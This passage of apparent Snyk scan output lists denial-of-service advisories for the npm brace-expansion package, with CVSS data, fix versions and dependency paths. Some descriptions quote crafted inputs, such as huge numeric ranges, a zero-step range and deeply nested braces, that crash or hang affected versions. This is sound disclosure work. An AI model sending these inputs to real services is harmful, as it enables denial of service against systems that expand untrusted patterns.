"severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable 